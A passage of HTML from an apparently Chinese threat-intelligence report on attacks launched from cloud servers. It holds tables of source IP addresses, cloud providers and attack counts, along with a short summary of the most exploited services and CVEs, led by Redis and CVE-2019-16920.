153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">151</span></p>
</td>
<td width="98" nowrap="" style="width:73.65pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">3</span></p>
</td>
<td width="129" nowrap="" style="width:96.6pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">633</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:8;height:9.6pt">
<td width="178" nowrap="" style="width:133.85pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><strong><span lang="EN-US">103.209.103.16</span></strong><strong><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></strong></p>
</div>
</td>
<td width="88" nowrap="" style="width:66.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">20</span></p>
</td>
<td width="98" nowrap="" style="width:73.65pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">2</span></p>
</td>
<td width="129" nowrap="" style="width:96.6pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">86</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:9;mso-yfti-lastrow:yes;height:9.6pt">
<td width="178" nowrap="" style="width:133.85pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><strong><span lang="EN-US">154.66.240.59</span></strong><strong><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></strong></p>
</div>
</td>
<td width="88" nowrap="" style="width:66.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">2</span></p>
</td>
<td width="98" nowrap="" style="width:73.65pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">7</span></p>
</td>
<td width="129" nowrap="" style="width:96.6pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">552</span></p>
</td>
</tr>
</tbody></table>
</div><!--kg-card-end: html--><h3 id="--2">漏洞的扫描和攻击</h3><p>和10月一样，Redis漏洞仍然是被云服务攻击者使用最多的漏洞。其他还包括SMTP协议扫描、敏感文件嗅探、Hyland拒绝服务漏洞攻击等。相比于10月，本月针对安防产品和路由器的云服务器攻击者相对较少。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/12/image-6.png" class="kg-image" alt loading="lazy"></figure><p>Redis是被攻击次数最多的设备，占到了所有漏洞攻击会话的约40%，此外也有较多针对DLink、GoAhead、Hadoop和Atlassian等厂商的设备的攻击。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/12/image-7.png" class="kg-image" alt loading="lazy"></figure><p>从CVE编号来看，CVE-2019-16920是利用最多的有CVE编号的漏洞，占有CVE编号漏洞整体的43.2%。此外，CVE-2017-8225和CVE-2021-26084也是被攻击者利用次数较多的漏洞，分别占比22%和10.7%。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/12/image-8.png" class="kg-image" alt loading="lazy"></figure><p>以下是利用的漏洞种类最多的10个IP。</p><!--kg-card-begin: html--><div align="center">
<table class="MsoTable15Grid4Accent3" border="1" cellspacing="0" cellpadding="0" width="0" style="width:346.35pt;border-collapse:collapse;border:none;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
mso-yfti-tbllook:1184;mso-padding-alt:0cm 5.4pt 0cm 5.4pt">
<tbody><tr style="mso-yfti-irow:-1;mso-yfti-firstrow:yes;mso-yfti-lastfirstrow:yes;
height:10.8pt">
<td width="141" nowrap="" valign="top" style="width:106.1pt;border:solid #A5A5A5 1.0pt;
mso-border-themecolor:accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;
mso-border-top-themecolor:accent3;mso-border-left-alt:solid #A5A5A5 .5pt;
mso-border-left-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;
mso-border-bottom-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:
accent3;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:5"><strong><span lang="EN-US" style="color:white;mso-themecolor:background1;
mso-font-kerning:0pt">IP</span></strong><strong><span style="font-family:宋体;mso-ascii-font-family:
"Times New Roman";mso-hansi-font-family:"Times New Roman";color:white;
mso-themecolor:background1;mso-font-kerning:0pt">地址</span></strong><span lang="EN-US" style="color:white;mso-themecolor:background1;mso-font-kerning:
0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
<td width="151" nowrap="" valign="top" style="width:4.0cm;border-top:solid #A5A5A5 1.0pt;
mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;
mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:
solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:
solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;
mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><span class="GramE"><strong><span style="font-family:宋体;mso-ascii-font-family:
"Times New Roman";mso-hansi-font-family:"Times New Roman";color:white;
mso-themecolor:background1;mso-font-kerning:0pt">云服务</span></strong></span><strong><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:white;mso-themecolor:background1;mso-font-kerning:
0pt">商</span></strong><span lang="EN-US" style="color:white;mso-themecolor:background1;
mso-font-kerning:0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
<td width="89" nowrap="" valign="top" style="width:66.75pt;border-top:solid #A5A5A5 1.0pt;
mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;
mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:
solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:
solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;
mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><strong><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;
mso-font-kerning:0pt">攻击次数</span></strong><span lang="EN-US" style="color:white;
mso-themecolor:background1;mso-font-kerning:0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
<td width="80" nowrap="" valign="top" style="width:60.1pt;border:solid #A5A5A5 1.0pt;
mso-border-themecolor:accent3;border-left:none;mso-border-top-alt:solid #A5A5A5 .5pt;
mso-border-top-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;
mso-border-bottom-themecolor:accent3;mso-border-right-alt:solid #A5A5A5 .5pt;
mso-border-right-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:
accent3;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><strong><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;
mso-font-kerning:0pt">漏洞数量</span></strong><span lang="EN-US" style="color:white;
mso-themecolor:background1;mso-font-kerning:0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:0;height:10.8pt">
<td width="141" nowrap="" style="width:106.1pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:68"><strong><span lang="EN-US">106.11.34.197<o:p></o:p></span></strong></p>
</div>
</td>
<td width="151" nowrap="" style="width:4.0cm;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman"">阿里云</span></p>
</div>
</td>
<td width="89" nowrap="" style="width:66.75pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">6,409</span></p>
</td>
<td width="80" nowrap="" style="width:60.1pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">61</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:1;height:10.8pt">
<td width="141" nowrap="" style="width:106.1pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><strong><span lang="EN-US">162.14.66.133</span></strong><strong><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></strong></p>
</div>
</td>
<td width="151" nowrap="" style="width:4.0cm;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center"><span class="GramE"><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman"">腾讯云</span></span></p>
</div>
</td>
<td width="89" nowrap="" style="width:66.75pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">22,997</span></p>
</td>
<td width="80" nowrap="" style="width:60.1pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">60</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:2;height:10.8pt">
<td width="141" nowrap="" style="width:106.1pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><strong><span lang="EN-US">194.195.242.182</span></strong><strong><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></strong></p>
</div>
</td>
<td width="151" nowrap="" style="width:4.0cm;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span class="SpellE"><span lang="EN-US">Linode</span></span></p>
</div>
</td>
<td width="89" nowrap="" style="width:66.75pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">97</span></p>
</td>
<td width="80" nowrap="" style="width:60.1pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">45</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:3;height:10.8pt">
<td width="141" nowrap="" style="width:106.1pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><strong><span lang="EN-US">139.177.178.92</span></strong><strong><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></strong></p>
</div>
</td>
<td width="151" nowrap="" style="width:4.0cm;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span class="SpellE"><span lang="EN-US">Linode</span></span></p>
</td>
<td width="89" nowrap="" style="width:66.75pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">50</span></p>
</td>
<td width="80" nowrap="" style="width:60.1pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">40</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:4;height:10.8pt">
<td width="141" nowrap="" style="width:106.1pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><strong><span lang="EN-US">139.177.178.83</span></strong><strong><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></strong></p>
</div>
</td>
<td width="151" nowrap="" style="width:4.0cm;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span class="SpellE"><span lang="EN-US">Linode</span></span></p>
</td>
<td width="89" nowrap="" style="width:66.75pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">110</span></p>
</td>
<td width="80" nowrap="" style="width:60.1pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
